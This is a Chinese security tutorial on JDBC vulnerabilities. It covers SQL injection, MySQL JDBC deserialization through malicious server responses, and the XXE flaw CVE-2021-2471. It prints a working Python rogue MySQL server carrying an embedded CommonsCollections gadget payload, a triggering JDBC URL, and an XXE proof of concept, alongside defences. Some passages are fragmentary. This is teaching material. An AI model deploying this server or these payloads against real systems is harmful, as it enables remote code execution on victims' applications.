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本文作者:Gungnir
本文字数:17681
阅读时长:30min
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本文首发于【secin社区】,未经许可禁止转载
原文链接:https://www.sec-in.com/article/1564
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。JDBC提供了一种基准,据此可以构建更高级的工具和接口,使数据库开发人员能够编写数据库应用程序。
JDBC在广泛使用的同时,也会带来相应的安全隐患,因此笔者针对JDBC做了总结,限于水平,难免有欠缺,希望师傅们指出。
JDBC连接样例:
//1.注册数据库驱动
DriverManager.registerDriver(new Driver());
//2.获取数据库连接
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/day10", "root", "root");
//3.获取传输器对象
Statement stat = conn.createStatement();
//4.利用传输器传输sql语句到数据库中执行,获取结果集对象
ResultSet rs = stat.executeQuery("select * from user");
//5.遍历结果集获取查询结果
while(rs.next()){
String name = rs.getString("name");
System.out.println(name);
}
//6.关闭资源
rs.close();
stat.close();
conn.close();
JDBC sql注入
毕竟JDBC只是一种执行sql语句的Java API,所以他肯定也有sql注入的安全隐患。
// concat sql
Statement stmt = connection.createStatement();
String sql = "SELECT * FROM users WHERE id ='"+ id + "'";
ResultSet rs = stmt.executeQuery(sql);
PreparedStatement
。PreparedStatement
始终使用?
作为占位符,并且把数据连同SQL本身传给数据库,这样可以保证每次传给数据库的SQL语句是相同的,只是占位符的数据不同,还能高效利用数据库本身对查询的缓存。// use ? to bind variables
String sql = "SELECT * FROM users WHERE id= ? ";
PreparedStatement ps = connection.prepareStatement(sql);
// 参数 index 从 1 开始,有几个参数绑定就写几个。
ps.setString(1, name);
ps.execute();
Mysql JDBC 反序列化漏洞
漏洞原理
-
SHOW SESSION STATUS
-
SHOW COLLATION
漏洞分析
我们可以在IDEA的外部库中找到依赖。
我们需要知道
BIT和BLOB都是MySQL里的一种数据格式
BLOB:是二进制形式的长文本数据,大小是0-65535 bytes
BIT:是用来存储bit值的,BIT(M)代表可以存储M个bit,M的取值范围为1到64 如果手工指定bit值,则可以使用b'value'格式,比如b'111'和 b'10000000'分别代表7和128。
我们可以看到
case BIT和case BLOB有一些差不多的判断逻辑
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob())
//获取连接属性的autoDeserialize是否为true
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
//判断数据是不是序列化后的对象,-84 -19其实就是AC ED (0xAC == 256 - 84, 0xED == 256 - 19),就是Java的序列化内容的魔术头
if ((data[0] == -84) && (data[1] == -19))
//满足了上述条件,就可以反序列化了。
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()
中的ResultSetUtil.resultSetToMap(toPopulate, rs);
SHOW SESSION STATUS
执行SHOW SESSION STATUS
后并处理其结果时,调用了getObject(),注意这里调用了两次。
于是我们要再找调用populateMapWithSessionStatusValues的地方,我们找到了``com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor的
postProcess()和
preProcess()方法
那我们怎么调用postProcess或者preProcess呢,这需要我们知道这个类的含义
public class ServerStatusDiffInterceptor implements QueryInterceptor
此类实现了QueryInterceptor
ServerStatusDiffInterceptor
是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor
时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()
方法。SHOW SESSION STATUS
,得到序列化的数据,进入getObject,反序列化。SHOW SESSION STATUS
,这个过程得到的数据,是我们可以去控制的,从而导致反序列化了恶意类。//poc
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
漏洞利用
SHOW SESSION STATUS
,并把拿到的数据,可以进行反序列化。-
https://github.com/fnmsd/MySQL_Fake_Server -
https://github.com/rmb122/rogue_mysql_server
# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
有了恶意服务器后,我们需要写个JDBCclient,用以触发拦截器。
public class JdbcClient {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://xxxx:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
}
}
java -jar .ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 calc > payload
拿到payload之后,我们就可以把payload放在恶意mysql服务器同目录下,运行mysql服务器,再运行JDBCclient,就可以成功弹出calc。
下面找到一道相关的ctf题目,可用作学习复现。
[羊城杯 2020]A Piece Of Java
https://urdr-gungnir.github.io/ctf/CTF中的java题.html
防御方案
-
黑名单检查(检查输入流,如果存在一些恶意类,则反序列化过程停止) -
白名单过滤(JEP290、SerialKiller)
•允许对传入的对象序列化数据流进行过滤,以提高安全性
•定义可以由属性或配置文件配置的全局过滤器。
•在反序列化过程中将调用filter接口方法,以验证要反序列化的类。过滤器返回接受,拒绝或保留未确定,允许或禁止状态的状态。 -
运行时应用程序自我保护(RASP)
Mysql JDBC XXE(CVE-2021-2471)
提前说下,这种洞比较鸡肋。需要其他的比较苛刻的条件。
需要准备:
因为影响版本< MySQL JDBC 8.0.27,所以上面反序列化的环境也能复现。
漏洞原理
前置知识
XML
文档,因此引入了SQLXML类型,SQLXML提供了 String、Reader、Writer 或Stream 等多种形式访问XML值的方法。
getSQLXML
方法获取SQLXML对象。漏洞分析
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();
if (clazz == null || clazz.equals(SAXSource.class)) {
} else if (clazz.equals(DOMSource.class)) {
} else if (clazz.equals(StreamSource.class)) {
} else if (clazz.equals(StAXSource.class)) {
} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}
}
setString
方法类设置stringRep
的值。createSQLXML
方法的作用就是返回一个MysqlSQLXML
对象。//poc
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;
public class main {
public static void main(String[] args) throws SQLException {
String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:2333/poc.txt">]><name>&xxe;</name>";
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}
}
package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.*;
public class main {
public static void main(String[] args) throws SQLException {
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/sys", "root","root");
Statement statement = connection.createStatement();
statement.execute("select * from test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
}
}
虽然不是完全一样,但是这种思路也是如出一辙。。。。
漏洞利用
create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);
然后模拟我们已经有了一个可以把恶意数据放进数据库的方法
insert into tb_test(message) values(' ');
起一个临时web服务,方便验证是否成功。
然后调用项目中的OracleJDBC.java,你可以看到此文件中的代码就是上面提供的常见写法。
然后你就可以看到,你已经成功收到了来自目标服务器的请求。
如果你想进行其他的利用,修改插入数据库的payload即可。
防御方案
官方在更新中创建了XmlReader
并进行了安全设置。
try {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
} catch (SAXException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}
作者
Gungnir
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原文始发于微信公众号(WgpSec狼组安全团队):JDBC安全
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